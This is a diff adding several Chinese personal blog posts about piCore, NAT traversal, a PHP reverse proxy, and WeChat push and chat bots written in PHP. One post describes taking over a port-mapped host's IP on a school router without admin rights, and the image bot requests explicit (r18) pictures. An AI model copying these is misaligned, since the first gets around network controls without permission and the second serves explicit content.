因为piCore默认没有Wifi的驱动我还以为它不能用Wifi不过还好这个安装软件的功能可以直接安装Wifi的管理软件和驱动用起来挺方便的直接搜索wifi就可以安装不过我在里面又找到了一个叫做`firmware-rpi-wifi`的包,虽然不知道需不需要安装,但是看起来好像需要的样子就安上了。
还有一个问题就是即使安好后也不能自动连接Wifi这个问题处理起来也很简单第一次连Wifi是用的一个叫做`wifi.sh`的脚本,连好以后就可以在`/opt/bootlocal.sh`文件里写一句`wifi.sh -a`这样它以后每次启动都会自动连接Wifi了。不过还有一点需要注意在做完这些配置之后都需要执行`filetool.sh -b`来保证修改能在下一次重启的时候被应用。
# 与Raspberry Pi OS lite的对比
这样一波操作下来感觉基本上Raspberry Pi OS lite和piCore在功能上也没啥区别了吧piCore不仅更快还更小从安装包来看piCore要比Raspberry Pi OS lite小20倍
这样看来还是piCore更好啊为什么国内连相关的文章都搜不到呢也许是因为piCore需要自己探索吧大家一般都用的是树莓派官方的系统而且因为Raspberry Pi OS lite用的是apt管理更方便所以就没人用piCore了吧……
不过树莓派不就是用来折腾的嘛所以我还是更支持piCore😀

@ -0,0 +1,36 @@
---
layout: post
title: 关于内网穿透的笔记
tags: [内网穿透]
---
为了更好的运用资源,内网穿透是必要的。<!--more-->
# 起因
最近我的学校给我分配了一些服务器资源大概在市场上价格基本上在1wCNY/mo的样子。这些资源非常好但是有一个问题那就是没有外网IP想要运用这些资源必须要到机房。像机房那样的地方又冷又吵不过我不在意可惜问题不在这里问题在于它只能在机房用我又不能常常待在机房那我到底应该怎么办呢
其实解决方案很简单,那就是搞内网穿透。现在内网穿透的技术已经很多了,不过总体来说主要还是一个东西,那就是隧道。
# 内网穿透的原理
我大概查了一下相关的资料一般来说内网是路由器自己划分出来的局域网。正常来说如果想让所有的机器都登上外网可以把路由器换成交换机可惜换不得毕竟外网IPv4的资源是有限的就是插了交换机也需要ISP分配IP地址给机器。
根据我的了解局域网和广域网进行通信的时候会用到一个叫做NAT的技术大概原理就是路由器在内网访问外网时能把自己伪装成一般的电脑向其他服务器发送数据发送过去的时候路由器会记住是哪个内网设备发送的数据最终传回的数据路由器也会按原路转发回请求的主机通过这样就可以把内网和外网联系起来。
这时候就会有一个问题那就是在这个过程中路由器和其他的电脑没有什么区别假如在广域网的机器想要访问局域网的机器那么正常来说就是直接访问那个路由器所在的IP就可以了但是内网并没有发请求给广域网路由器也不知道要把数据传给谁它就会把这个数据丢掉。
这个问题应该怎么解决?其实很简单,那就是连之前先由局域网的机器向想要访问这个机器的外网机器发送数据,这样外网机器就能顺理成章的连到内网的机器里面了,这确实是一个不错的解决方案,事实上现在几乎所有的内网穿透都是使用的这个方案。
除此之外还有一个叫做UPnP的协议貌似也可以穿透P2P应该都是用的这种方法不过需要路由器支持才行。这种协议好像可以自动进行端口映射大概是通过某种协议让路由器可以在内网机器没有主动发送数据的情况下把数据发送给内网机器吧具体我也不是很清楚。
另外如果有内网与外网相连的路由器的管理权限,也同样可以做到内网穿透,直接搞端口映射就完事,这种就更加简单了,但是一般情况下我们肯定没有路由器的管理权,不然也不至于这么苦恼了。
# 一些实现的方案
现在内网穿透的技术有很多,不过因为内网机器直接主动连外网这种方法比较简单,所以接下来说到的方法基本上都是通过这种方式的。
## 利用VPN创建隧道
VPN的原理是通过由主机主动向VPN服务器连接隧道并通过虚拟一个路由器组成VLAN的一种技术通过这个介绍也能很明显看出来这是由主机主动发出的吧通过这种方式即使不在内网中也可以让内网的电脑连自己的VPN来连接内网的电脑以此再继续连到内网电脑所能连接的网络里面。
这种方法算是比较简单而且很安全的方式不过可惜中国的好多ISP都屏蔽VPN用这种方式不是很稳当。
## SSH隧道
SSH这个软件很强大有的功能也很多。既然VPN被屏蔽了那22端口总不至于屏蔽吧总不能把运维的饭都给抢了吧通过SSH隧道的方式使用起来也很简单在公网服务器上打开sshd的GatewayPorts功能内网设备通过执行类似于`ssh -fN -R 10022:localhost:22 远程用户@远程主机`这样的命令启动隧道,然后其他电脑就可以通过这个公网服务器连这个内网设备了。
这种方法很不错但是还是有一个问题那就是需要租服务器刚才的VPN同样需要所以可以还有更好的方案。
## 某些服务商提供的frp
frp从名字上就能听出来它是一种代理吧这种东西目前有很多服务商都有提供比如SakuraFrp还有花生壳啥的当然如果手头有服务器也可以自己搭。这种的和前面几种不一样的是它反代出来的服务可以让其他用户直接用很方便不过有一个限制就是一台服务器最多只能反代出64551个服务不考虑tcp和udp的区别正常人都是够用了。
## 端口映射
这是最好的方案,毕竟这样做可以保证不限速,而且也不需要外网服务器,但是路由器的管理权限很难搞,这确实没办法。
# 后记
所以最后我用了哪种方案呢既然端口映射最好那当然是用这个啦但是有一个问题是我没有路由器管理权怎么办呢没关系这个路由器以前有人做过端口映射只是现在没人用了而已于是我就跟着这个配置把服务器设置成和被映射主机一样的IP然后就可以用了。
另外就是运用资源的问题了这么多资源我自己用都想不出来干什么比较好所以我考虑要不然搞IDC总之在资源利用起来之前先让它们为世界做点贡献吧这些服务器算力确实猛在WCGrid里目前我的每日排名都能达到世界前200确实厉害。

@ -0,0 +1,28 @@
---
layout: post
title: 年终总结
tags: [总结]
---
又一年过去了啊……<!--more-->
# Null
2020年过完了啊……明明和2019年一样也不过在学校待了半个学期而且理论上来说今年我应该会过的更好啊……为什么我会■■到什么也不记得呢
又回看了一遍[去年的年终总结](/2019/12/31/summary.html),今年我真的是啥都没干啊……
本来这一篇年终总结应该放到5天前的可是无论如何我似乎都没心情写下去了……有一部分是因为中国的互联网环境越来越糟糕想在中国不备案的情况下建网站越来越难了现在很多地方的运营商都已经开始屏蔽Github Pages以至于我自己连我的博客都要用特别的方法上……
另外就是什么都不记得的问题,近几天我的生存环境是真的很糟糕啊……并不是说待的环境很糟糕,应该是说生存能力变差了很多吧。不仅如此,我感觉各项能力水平都开始下降了……
其实不应该这样糟糕的至少前两天我还抽奖中了一个机械键盘应该感到高兴。不过中奖也不过如此我在玩PCR的时候1什么都没出也是很糟糕的事情啊……更何况300连后又抽了11发仍然什么都没有随机的事情也不过如此。
# 2020年特别的事情
是时候想点高兴的事情了,像在这个学期我成为了我所在社团部门的部长,这本身倒也没啥,不过在这个职位所得到的东西是应该让我很高兴才对。
像是在冬天温暖的办公室很多性能虽然很差但是就是免费而且能用的电脑可以躺下来像家庭影院般的投影仪以及试用了1个月的理论上可以创造1wCNY价值的服务器这些都是很不错的事情而且它们都是免费的相比于其他人所享用的事情。然而即使如此还是会出现问题莫名其妙的问题……
其他的事情似乎能回想起来的不多了,直接看以前写的文章也许可以大概的了解一些。另外根据统计来看,我似乎在家里写的博客更多?果然我虽然好像享有很多东西,可是没有家里舒服,虽然我在家里也并不开心,但是似乎还是比在学校好一点……这真的是很令人担心啊……
# 更早的事情
似乎根据我的记录来看,只要是和人在一起,终究我都不会很高兴,另外现在我在写这一篇文章的状态也不太好,虽然打字看起来甚至熟练到就和说话一样,但是思维却是乱的。
即使在完全没有人的地方我肯定也没有合适的生存环境令人沮丧的一点是所有的事情全部都是有期限的就像隔一段时间要洗澡衣服也只能穿一段时间……我很久以前就在想如果可以像服务器一样整天都在最舒适的环境下除了连接网络其他什么都不需要不需要什么像屏幕、键盘、鼠标等等的IO设备仅仅需要连接网络该多好这就让我想起来前段时间玩的《Cyberpunk 2077》了转换成为印迹永远的生活在网络空间中……
当然我没有像服务器那样的工作能力资本家永远是资本家不是所有的主机都可以享用那样的环境因为不是所有主机都有那样的能力我即使能够24小时在网络世界中我也没有钱在我没办法创造利益的情况下生活一辈子所以想着那样的事情也没有用看看接下来该怎么继续向前走吧
# 后记
其实我在12月31的时候本来是想写对内网穿透的进一步研究不过好像精神状态不太能支持我写下去所以接下来我会再仔细研究一下NAT和NAPT然后写出新的文章。
其他我也没什么特别想说的了,今天就先这样吧!接下来几天还要考试,虽然现在我什么都不会,接下来的考试我感觉很难通过,但是没办法,也只能这样了,不知道接下来的生活会怎么样……

@ -0,0 +1,45 @@
---
layout: post
title: 如何用PHP制作一个简单的反向代理
tags: [PHP, 代理]
---
解决问题还是很简单的。<!--more-->
# 起因
由于莫名其妙的原因很多运营商都屏蔽了Github Pages导致我上我的博客很困难。这令我很不高兴但是没办法毕竟在中国就是这样搭个网站很麻烦。
在两年前我的博客也被屏蔽过一次那时候我是用的Nginx反代解决这个问题的不过Nginx反代要服务器当时我用的是花火学园的服务器来搞但是现在因为登一次花火学园的服务器很麻烦网络卡的不得了所以没办法我只好想想别的更简单的方法解决这个问题。
这时候我就想到了PHP用PHP解决这个问题应该很简单用`file_get_contents()`应该很轻松就可以解决这个问题。
# 解决过程
理论上来说只要整一个php然后里面直接用`echo file_get_contents(url)`就可以实现反代了所以首先就按这个思路做为了让访问的所有请求都发送到这个php里我得用重写的方式。
我用的是GearHost的虚拟主机他们的主机都用的是IIS这导致我还得了解一下IIS的重写怎么搞还好我的方案和WordPress的重写方案很像我就直接按照WordPress的方式写了。
把下面的代码放到Rewrite的rules段里就可以正常工作了
```xml
<rule name="Mayx" stopProcessing="true">
<match url="^(.*)$" />
<conditions>
<add input="{REQUEST_FILENAME}" matchType="IsFile" negate="true" />
<add input="{REQUEST_FILENAME}" matchType="IsDirectory" negate="true" />
</conditions>
<action type="Rewrite" url="index.php"/>
</rule>
```
然后就是新建一个index.php文件路径的话用`$_SERVER['REQUEST_URI']`就可以了。
不过如果直接用`echo file_get_contents(url)`的方法搞会出现一些问题比如css和js的MIME类型要求必须和实际一样但是我这个方案会导致所有请求都是`text/html`类型的,这是个很麻烦的问题啊……
后来我花了2个小时查资料搜php怎么读MIME结果搜到的全是`mime_content_type()`之类乱七八糟的东西让人很难受。我仔细思考了一下MIME是在Header里声明的我应该去搜Header而不是怎么读MIME最终可算是搜到了一点有用的东西了也就是`$http_response_header`这个东西好像是个数组后来我想了一下干脆不要考虑怎么读MIME直接把Header跟着重写一遍算了于是最终代码如下
```php
<?php
$content=file_get_contents("https://mabbs.github.io".$_SERVER['REQUEST_URI']);
foreach($http_response_header as $header){
header($header);
}
if($content){
echo $content;
}else{
echo "404";
}
```
# 之后的操作
这么搞完之后基本上就可以正常工作了,于是我的博客域名再一次更换(专供中国用户):[yuki.gear.host](https://yuki.gear.host/)另外把备用的Gitalk的Github Apps返回地址也改了基本上就可以正常工作了。希望以后GFW能做个人不要再乱搞国内的网络环境了。

@ -0,0 +1,27 @@
---
layout: post
title: piCore的使用经历
tags: [树莓派, piCore]
---
不流行的发行版也很好用啊<!--more-->
# 开端
[上个月我试着在树莓派上使用piCore](/2020/12/07/picore.html),本来是想解决打印机的问题,不过因为没有打印机驱动所以也就无所谓了,还是用电脑好一些。
学校也有一个树莓派但是没有SD卡不过没关系piCore就是在这个时候起作用的我在学校的时候找了一张我自己的SD卡插在了那个树莓派上使用piCore启动后就可以把SD卡拔掉了。正因为它的系统在内存中运行所以没有SD卡也能正常工作。
之后我在上面开了一个穿透,这样我在家也可以玩在学校的树莓派了。
# 使用经历
## 无卡安装软件的经历
虽然piCore的系统运行在内存中但是默认情况下它的软件全部安装在SD卡中把SD卡拔掉后发生的第一个问题就是软件没有办法正常使用了。原来安装的软件不能启动然后想安装新的软件也没办法安装……这样就不太好了像连接Wifi的软件也在SD卡中虽然有些守护进程运行后程序会载入内存不会因为没有SD卡出问题但是如果我想连接新的Wifi就没办法使用了……这要我怎么办呢后来我研究了一下piCore安装软件的代码那些软件管理器全部都是用的Shell写的对于从小就在使用Shell的我基本上都能看懂。后来我发现安装的软件其实都不是读取SD卡挂载的目录而是`/etc/sysconfig/tcedir`目录然后这个目录又有一个软链接指向SD卡的挂载目录。这样就很好搞了啊把原来的软链接删掉新建一个`tcedir`的目录就好了。当然不止如此,在这个文件夹里还要创建一个`optional`目录,这样软件包才能下载到正确的位置。
这些操作完成后就好了吗并没有现在安装新的软件已经没有问题了但是安装以前安装过的软件会出现问题。在piCore中安装过的软件会在`/usr/local/tce.installed`这个文件夹下创建一个文件软件管理器会读取这个文件夹下的内容判断程序是否安装。但是SD卡拔掉后这个文件不会消失所以我还得要手动把这里面的文件删掉这样安装旧软件就不会出现问题了。
对了还有一点是权限问题由于不知道什么原因软件管理器要求不能在root权限下安装软件这样的话在创建`/etc/sysconfig/tcedir/optional`这个路径的时候就需要注意不能以root权限创建不然软件有可能会安装失败。
虽然说piCore或者说TinyCore并不是一个流行的发行版不过软件还是有不少的。虽然不像Ubuntu那样可以用`apt`那样有非常多的软件可以用不过正常使用的话软件基本上也够用了虽然说也可以安装图形界面不过因为我用的树莓派3B的内存太小了只有1G所以也不敢安而且我有Windows的远程桌面也没必要折腾树莓派搞图形界面。
## 运行其他软件的经历
作为Linux发行版软件和生态固然很重要但是使用软件的方式也不只是用通过安装软件包的方式。软件的本质还是二进制文件所以说有些piCore仓库里没有的软件我们也可以直接运行二进制文件。
举一个例子的话……比如说Cloudreve一个用Golang写的网盘系统就能很简单的在上面运行。在Release中找到arm64的程序下载到树莓派上然后直接解压运行就OK了非常的轻松像那些已经编译好的软件很轻松就能拿来直接用。
再比如说就是穿透我用的是SakuraFrp同样那是一个单独的已经编译好的程序直接下载arm64的程序然后再运行就可以了。
还有比如想通过当CDN赚钱比如说甜糖同样下载对应的编译好的程序就OK了当然即使这个软件能运行这个计划还要求有32GiB以上的存储空间那还得另外插个U盘啥的那就是那么一回事了……
# 总结
由于piCore可以在内存中运行的特性而且还有不错的软件管理器我觉得它确实是一个在树莓派上相当不错的系统而且相对来说也很简单也许用buildroot也可以整一个类似的系统但是有piCore就方便很多也不用编译啥的安装软件也很方便另外更新一样也很方便用`tce-update`就能更新,卸载的话后来我发现是用`tce-audit remove`……总的来说系统确实很不错,就是文档真的很垃圾,写的很不清楚,好多功能还得自己研究,然后网上也没有可以参考的……除此之外,设计的确实很不错。

@ -0,0 +1,49 @@
---
layout: post
title: 自己动手做一个Server酱·TurboMini版
tags: [Server, PHP]
---
一句话就能解决的问题也敢收费?<!--more-->
# 起因
我以前经常使用Server酱给我推送日报或者告诉我树莓派有没有正常启动之类的事情。之所以使用它是因为那个API还是挺方便的而且我平时微信也用的多能直接通过微信推送信息也挺不错的。
后来Server酱整了个什么Turbo版不过我用普通版用的挺好就没怎么管。结果今天发了个什么通知说他们的服务有可能要挂我这个人最讨厌的就是服务不稳定连个服务都整不稳定的人干脆别做服务了做出来那不是害人嘛像之前那个什么LeanCloud就不行因此我还[自己写了一个博客计数器](/2019/06/22/counter.html)。
然后我就看了看他们的Server酱·Turbo版好家伙还是收费的8CNY/mo有点过分啊也不过是调用微信接口还要花钱看了之后我说不行这个太贵了我倒要看看这东西到底要花多少资源。
之前我就看他们吹说自己月请求数5kw我说这有啥我花火学园每个月请求数要上亿也花不了几个钱5kw就敢出来吹还敢开课所以今天我就来看看这所谓的“配置略显复杂”到底有多复杂。
# 试着做一下
我看了下微信关于测试号的接口文档看起来也没多复杂嘛我估摸了一下最多一句话就能搞定然后就试着用PHP写了一下。
最终的代码如下:
```php
<?php
$appid='appID';
$secret='appsecret';
$userid='微信号OpenID';
$template_id='模板ID';
$title='标题';
$content='内容';
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/template/send?access_token='.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'], false, stream_context_create(array('http' => array('method'=>'POST','header'=>"Content-Type: application/json;charset=utf-8",'content'=>'{"touser":"'.$userid.'","template_id":"'.$template_id.'","data":{"title": {"value":"'.$title.'"},"content": {"value":"'.$content.'"}}}'))));
```
写好之后测试了一下效果还不错和Server酱测试号的效果几乎一模一样除了没有能点开的网页当然要想搞也行很简单就插一个URL就可以了如果你希望整些更多的特效也可以去[模板接口文档](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Template_Message_Interface.html)里面看。
关于限制方面的话也要比Server酱要好理论上我的代码每天能发送2000次主要是因为获取access_token的接口每天只能使用2000次不过如果能缓存access_token的话理论上每天能发送100000次要比垃圾Server酱的1000次好得多。
# 如何得到参数?
我写的代码是兼容Server酱的所以跟着他们的配置指南也可以直接用不过有人可能连Server酱是啥都不知道我也不给他们引流了免得浪费他们珍贵的服务器资源。
要做的事情很简单,首先打开[申请页面](https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login),然后扫码登录,成功之后就能看到测试号管理的页面了。
首先看到的是appID和appsecret这样我们就已经获得了两个参数。另外两个的话就继续往下翻找到测试号二维码用微信扫描关注后就会出现自己的微信号当然这个不是真正的微信号相当于只是一个识别码这样第三个参数也得到了。接下来是第四个参数找到模板消息接口点击新增测试模板标题输入推送通知或者你喜欢的啥都行内容的话填
```
{% raw %}{{title.DATA}}
{{content.DATA}}{% endraw %}
```
之所以这样填是为了兼容Server酱当然也可以自己改代码然后填别的也行。不过如果不想改代码在末尾加个签名也没有问题比如说这样
```
{% raw %}{{title.DATA}}
{{content.DATA}}{% endraw %}
--By Mayx
```
这样第四个参数模板ID我们也得到了这样上面的代码应该可以正常使用了。
需要注意的一点是由于莫名其妙的原因有可能扫码后第一次得到的appsecret是错的如果代码不能正常工作可以刷新测试号管理的页面看看有没有变化如果有就输入最新的appsecret。
# 结语
我觉得作为开发者,这种简单的小活就自己干吧,没必要给所谓不赞助就不能用功能的开发者给钱,我觉得既然叫赞助,就不能有差别待遇,不然这就叫做收费,就是商业行为,不要用赞助这种词给自己的资本家行为贴金。

@ -0,0 +1,105 @@
---
layout: post
title: 自制一个简单的微信聊天机器人
tags: [微信, 聊天, 机器人, PHP]
---
感觉API好像还挺有意思<!--more-->
# 起因
前两天我[制作了Server酱·TurboMini版](/2021/02/02/serverchan.html)之后感觉微信公众号的API好像还挺有意思的总的来说也不是很复杂没有用什么特别奇怪的东西而且文档还算清晰这一点还是很不错的。
于是最近我就开始看微信开放文档其实我刚写完Server酱·TurboMini版之后我就在想好多人在QQ上搞那种只要说来点什么图机器人就会发图片的一个功能。我感觉这个好像有点意思因为我平时用微信更多一些既然有测试号这样好的平台那么我就应该搞点这样的功能。
我花了一天的时间通读整个文档然后把程序写了出来然而发生了很糟糕的事情那就是微信被动回复的时间要求必须在5秒以内否则就会报错然而让服务器转发图片本来就很耗时又加上我用的是垃圾国外免费的虚拟空间中国与国际互联网的连接又很差劲导致5秒内程序必定不可能来得及回复。
没办法我花了一天时间写的东西我一定要水一篇文章所以我想了想干脆写成聊天机器人吧那个东西也简单像我博客上的伊斯特瓦尔就用了聊天机器人有现成的API啥都好搞。于是我稍微改动了一下代码把发图机器人改成了聊天机器人。
# 代码
```php
<?php
$appid=微信appID;
$secret=微信appsecret;
$appkey=图灵机器人APIkey;
function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = 'mayx';
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
if(checkSignature()){
if($_GET["echostr"]){
echo $_GET["echostr"];
}else{
$content = file_get_contents("php://input");
$p = xml_parser_create();
xml_parse_into_struct($p, $content, $vals, $index);
xml_parser_free($p);
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA['.json_decode(file_get_contents('https://www.tuling123.com/openapi/api', false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => http_build_query(array('key' => $appkey,'info' => $vals[$index['CONTENT'][0]]['value'],'userid' => $vals[$index['FROMUSERNAME'][0]]['value'])))))),true)['text'].']]></Content>
</xml>';
}
}
}else{
echo 'error';
}
```
# 使用方法
和[上一篇文章](/2021/02/02/serverchan.html)一样,同样需要去[申请](https://mp.weixin.qq.com/debug/cgi-bin/sandbox?t=sandbox/login)一个测试号不过有一点不一样那就是这一次需要配置接口配置信息URL就填这个程序能在互联网上访问的地址而Token则是填mayx。为什么呢因为我在代码里这样写的啊……如果想改可以把对应的变量改成自己喜欢的值总之保证两边一样就行。
提交之后接口就配置好了,不过还没有结束,为了能使用机器人,还得要去注册[图灵机器人](http://www.turingapi.com/),毕竟又不可能自己去写一个聊天机器人,那个需要的资源太多了。现在那个图灵机器人好像必须要实名才能用,那总之混互联网的人遇到这种问题应该也不是问题了吧。
注册好机器人之后就直接把APIKey粘到代码里面然后整个代码就可以正常运行了现在你就可以和你的机器人聊天了。
# 暂时废弃的代码
```php
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$file_contents = file_get_contents(json_decode(file_get_contents('https://www.pixiv.net/ajax/illust/'.json_decode(file_get_contents('https://api.loli.st/pixiv/'),true)['illust_id'].'/pages'),true)['body'][0]['urls']['regular'], false, stream_context_create(array('http' => array('method' => 'GET','header' => "referer: https://www.pixiv.net/"))));
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
'content' => "--".MULTIPART_BOUNDARY."\r\n".
"Content-Disposition: filename=\"image.png\"\r\n".
"Content-Type: image/png\r\n\r\n".
$file_contents."\r\n".
"--".MULTIPART_BOUNDARY."--\r\n"
)
));
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[image]]></MsgType>
<Image>
<MediaId><![CDATA['.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)[access_token].'&type=image', false, $context),true)['media_id'].']]></MediaId>
</Image>
</xml>';
```
其实这段代码不是不能工作,只是它不能符合要求,没办法及时的把图片上传到微信服务器上,也没办法及时回复……也许如果有很好的条件,这段代码就可以运行了吧……
我也试过如果不是Pixiv上面的图片而是图片在很小而且也很快的服务器上时这个代码是能运行的。
# 替代的方案
我看完文档之后好像也没有主动向用户发送信息的接口只有被动发送的那这5秒问题估计是没法解决了吧……不过我看网上说如果用客服接口好像就没有这样的限制总之我回头试试看吧。
另外我也想了几种方案:
1. 每天定时向微信服务器上传图片需要时只发送ID不再在得到请求时再上传。
2. 设置2条命令一条用于向微信服务器上传另一条负责取回。不过这样有个问题就是ID不太好传可能还得缓存一下其实上面那个一样也得缓存。
3. 搞成图文形式,每天定时发送,就像日报一样
目前大概就想出这么多,更多的睡起来再慢慢想吧~

File diff suppressed because one or more lines are too long

@ -0,0 +1,143 @@
---
layout: post
title: 如何制作一个能发好图的微信机器人
tags: [微信, 聊天, 机器人, PHP]
---
微信不好。PHP<!--more-->
# 起因
前几天,我由于图片机器人做失败了所以做了一个[聊天机器人](/2021/02/06/wechatbot.html)但是很可惜人家图灵机器人支持一键接入微信公众号当然测试号不行总而言之做那个什么聊天机器人毫无意义而且我还用的是V1的API功能根本就没发挥出来。
总之,既然目标是做图片机器人,那么就不能就聊天机器人而满足了,正好,今天看到群友分享了一个不错的[API](https://api.lolicon.app/)文档写的很清晰而且功能不错我反正也懒得去思考要怎么搞Pixiv上面的图片既然有人已经写好了那就直接用就好了。
# 怎么搞
既然图源有了那么要怎么发送图片呢既然听别人说可以用什么客服接口那就再仔细看看那个文档呗。我以前以为那个客服接口必须要生成客服账号啥的很麻烦就没怎么看后来发现好像不用而且只要用户发一句话在48小时内都可以调用这个接口给用户发消息那这么看来就很棒了啊我还以为只有5秒内被动回复一种方法这样我可以直接整个异步过去。具体API的用法可以去看[微信开放文档](https://developers.weixin.qq.com/doc/offiaccount/Message_Management/Service_Center_messages.html#7)。
# 快点上代码
```php
<?php
$appid=微信appID;
$secret=微信appsecret;
$appkey=图灵机器人APIkey;
$apikey='Lolicon API Key';
ini_set('session.gc_maxlifetime', 7200);
ignore_user_abort(true);
set_time_limit(0);
session_id('Storage');
session_start();
if(!json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/get_api_domain_ip?access_token='.$_SESSION['access_token']),true)['ip_list']){
$_SESSION['access_token']=json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/token?grant_type=client_credential&appid='.$appid.'&secret='.$secret),true)['access_token'];
}
if($_GET["upap"]){
define('MULTIPART_BOUNDARY', '--------------------------'.microtime(true));
$picurl=json_decode(file_get_contents('https://api.lolicon.app/setu/?r18=1&size1200=1&apikey='.$apikey),true)['data'][0]['url'];
if(!$picurl){
$picurl=json_decode(file_get_contents('https://api.lolicon.app/setu/?r18=1&size1200=1'),true)['data'][0]['url'];
}
if(!$picurl){
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
"touser":"'.$_GET["openid"].'",
"msgtype":"text",
"text":
{
"content":"很抱歉获取失败可能是API次数达到上限请明天再试"
}
}'))));
exit();
}
$context = stream_context_create(array(
'http' => array(
'method' => 'POST',
'header' => 'Content-Type: multipart/form-data; boundary='.MULTIPART_BOUNDARY,
'content' => "--".MULTIPART_BOUNDARY."\r\n".
"Content-Disposition: filename=\"image.png\"\r\n".
"Content-Type: image/png\r\n\r\n".
file_get_contents($picurl)."\r\n".
"--".MULTIPART_BOUNDARY."--\r\n"
)
));
file_get_contents('https://api.weixin.qq.com/cgi-bin/message/custom/send?access_token='.$_SESSION['access_token'] , false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type: application/json;charset=utf-8','content' => '{
"touser":"'.$_GET["openid"].'",
"msgtype":"image",
"image":
{
"media_id":"'.json_decode(file_get_contents('https://api.weixin.qq.com/cgi-bin/media/upload?access_token='.$_SESSION['access_token'].'&type=image', false, $context),true)['media_id'].'"
}
}'))));
exit();
}
function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = 'mayx';
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
if(checkSignature()){
if($_GET["echostr"]){
echo $_GET["echostr"];
}else{
// 加载XML内容
$content = file_get_contents("php://input");
$p = xml_parser_create();
xml_parse_into_struct($p, $content, $vals, $index);
xml_parser_free($p);
if($vals[$index['MSGTYPE'][0]]['value'] == 'text'){
if($vals[$index['CONTENT'][0]]['value'] == '来点色图'){
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[开始发起请求,请耐心等待]]></Content>
</xml>';
file_get_contents('https://'.$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF'].'?upap=1&openid='.$vals[$index['FROMUSERNAME'][0]]['value'], false, stream_context_create(array('http' => array('timeout' => 0.5))));
}else{
echo '<xml>
<ToUserName><![CDATA['.$vals[$index['FROMUSERNAME'][0]]['value'].']]></ToUserName>
<FromUserName><![CDATA['.$vals[$index['TOUSERNAME'][0]]['value'].']]></FromUserName>
<CreateTime>'.time().'</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA['.json_decode(file_get_contents('https://www.tuling123.com/openapi/api', false, stream_context_create(array('http' => array('method' => 'POST','header' => 'Content-type:application/x-www-form-urlencoded','content' => http_build_query(array('key' => $appkey,'info' => $vals[$index['CONTENT'][0]]['value'],'userid' => $vals[$index['FROMUSERNAME'][0]]['value'])))))),true)['text'].']]></Content>
</xml>';
}
}
}
}else{
echo 'error';
}
```
2021.02.19更新当Lolicon API Key次数不够时会尝试不使用Key调用增加了缓存`access_token`的功能。另外以后我会自己搞一个图片API免得总是被这个每天只有300次调用的垃圾API所限制。
2021.02.21更新上次不知道怎么就脑残的用了调用次数只有500次的获取用户接口作为检查`access_token`的依据这次换了个没有上限的另外把session的回收时间改成了2个小时和接口对应。
# 怎么用?
和[上一篇](/2021/02/06/wechatbot.html#%E4%BD%BF%E7%94%A8%E6%96%B9%E6%B3%95)一样不过有一个不一样的地方就是这里需要一个Lolicon API Key如果没有的话好像限制非常高可能一天只能调用1-2次吧有API Key好像可以每天请求300次具体怎么用可以看[他们的文档](https://api.lolicon.app/#/setu)。
API Key的申请方式是去找他们的Telegram机器人[@loliconApiBot](https://t.me/loliconApiBot)倒是还挺简单的申请出一个API和一个测试号可以供100人使用这一点还是挺不错的。
最后做好了就可以向测试号发送来点什么图?关键词可以自己在代码里改。
如果不想整图灵机器人也行,那个东西要实名还是挺麻烦的,不过这样聊天功能就不能正常工作了 ~~(谁用这个机器人是和聊天机器人聊天啊!)~~
另外PHP空间很好申请的相比Python还是非常有性价比的至少可以不用租服务器。
# 总结
这次代码用了不少有意思的特性,比如通过`file_get_contents`直接上传文件以及PHP异步之类的这个异步的功能还是我自己想出来的哦现在在百度上都不一定能搜到我这样的方法。
总之PHP还是挺有意思的。

@ -0,0 +1,118 @@
---
layout: post
title: 快速自制微信图片机器人
tags: [微信, 图片, Pixiv, 机器人, PHP]
---
优化真的是很复杂啊……<!--more-->
# 起因
